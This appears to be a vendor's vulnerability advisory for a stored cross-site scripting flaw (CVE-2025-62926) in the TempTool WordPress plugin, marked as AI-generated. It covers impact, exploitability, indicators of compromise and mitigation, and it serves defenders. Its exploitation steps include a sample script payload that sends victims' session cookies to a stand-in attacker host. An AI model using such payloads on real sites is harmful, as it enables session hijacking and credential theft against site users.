CVE-2025-62926
WordPress vulnerability analysis and mitigation

Overview

CVE-2025-62926 is a Stored Cross-Site Scripting (XSS) vulnerability in the HappyDevs TempTool (Show Current Template Info) WordPress plugin. It affects all versions from n/a through 1.3.1 and was published on December 21, 2025, with the CVE assigned by Patchstack. The vulnerability carries a CVSS v3.1 base score of 6.5 (Medium) (Red Hat CVE, ENISA EUVD).

Technical details

The vulnerability is classified as CWE-79 (Improper Neutralization of Input During Web Page Generation — Cross-site Scripting) and specifically manifests as a Stored XSS flaw. An authenticated attacker with low privileges can inject malicious scripts into fields processed by the TempTool plugin, which are then persistently stored and rendered in the browser of any user who views the affected page. Exploitation requires network access, low complexity, and user interaction (a victim visiting the page containing the injected payload), with the scope changed to affect other users' sessions (ENISA EUVD, Patchstack).

Impact

Successful exploitation allows an authenticated attacker to inject persistent malicious JavaScript into WordPress pages, which executes in the browsers of other users — including administrators — who visit the affected content. This can lead to session hijacking, credential theft, unauthorized administrative actions, defacement, or redirection to malicious sites. The changed scope means the impact extends beyond the attacker's own session to affect other users of the WordPress site (ENISA EUVD, Red Hat CVE).

Exploitability

No public proof-of-concept exploit code or evidence of in-the-wild exploitation has been reported for CVE-2025-62926. The EPSS score is approximately 0.033%, indicating a low probability of exploitation in the near term. The vulnerability is not listed in the CISA Known Exploited Vulnerabilities (KEV) catalog. Exploitation requires a low-privileged authenticated account on the target WordPress site (ENISA EUVD).

Exploitation steps

  1. Reconnaissance: Identify WordPress sites running the TempTool (Show Current Template Info) plugin version 1.3.1 or earlier, using tools like WPScan or by inspecting plugin directories.
  2. Obtain low-privileged access: Register or obtain a low-privileged WordPress account (e.g., Subscriber or Contributor role) on the target site.
  3. Inject malicious payload: Navigate to the plugin's input field(s) within the WordPress admin or front-end interface and submit a crafted XSS payload (e.g., <script>document.location='https://attacker.com/steal?c='+document.cookie</script>).
  4. Payload persistence: The malicious script is stored in the WordPress database by the vulnerable plugin without proper sanitization or output escaping.
  5. Trigger execution: When an administrator or other user visits the page where the plugin renders its output, the stored script executes in their browser, enabling session cookie theft, credential harvesting, or further exploitation (ENISA EUVD, Patchstack).

Indicators of compromise

  • Logs: WordPress access logs showing POST requests to plugin-related admin endpoints from low-privileged user accounts; unexpected JavaScript content in plugin-related database entries.
  • File System: Unexpected modifications to plugin files in wp-content/plugins/current-template-name/.
  • Network: Outbound requests from victim browsers to unknown external domains shortly after visiting pages rendered by the TempTool plugin; unusual cookie or credential exfiltration traffic.
  • Database: Presence of <script> tags or encoded JavaScript (e.g., &#x3C;script&#x3E;) in WordPress database fields associated with the TempTool plugin's stored data.

Mitigation and workarounds

Users should update the TempTool (Show Current Template Info) plugin to a version beyond 1.3.1 if a patched release is available from the WordPress plugin repository or the vendor HappyDevs. If no patched version is yet available, the recommended workaround is to deactivate and remove the plugin until a fix is released. Site administrators should also restrict plugin installation and configuration to trusted users and implement a Web Application Firewall (WAF) with XSS filtering rules as an additional layer of defense (Patchstack, ENISA EUVD).

Additional resources


SourceThis report was generated using AI

Related WordPress vulnerabilities:

CVE ID

Severity

Score

Technologies

Component name

CISA KEV exploit

Has fix

Published date

CVE-2026-77115HIGH7.1
  • brave-popup-builder
NoYesAug 23, 2026
CVE-2026-77116MEDIUM4.3
  • brave-popup-builder
NoYesAug 23, 2026
CVE-2026-14853MEDIUM4.3
  • woocommerce-bookings
NoYesAug 23, 2026
CVE-2026-77003LOW2.7
  • content-mask
NoYesAug 23, 2026
CVE-2026-13598NONEN/A
  • restrictmate
NoYesAug 23, 2026

Free Vulnerability Assessment

Benchmark your Cloud Security Posture

Evaluate your cloud security practices across 9 security domains to benchmark your risk level and identify gaps in your defenses.

Request assessment

Get a personalized demo

Ready to see Wiz in action?

"Best User Experience I have ever seen, provides full visibility to cloud workloads."
David EstlickCISO
"Wiz provides a single pane of glass to see what is going on in our cloud environments."
Adam FletcherChief Security Officer
"We know that if Wiz identifies something as critical, it actually is."
Greg PoniatowskiHead of Threat and Vulnerability Management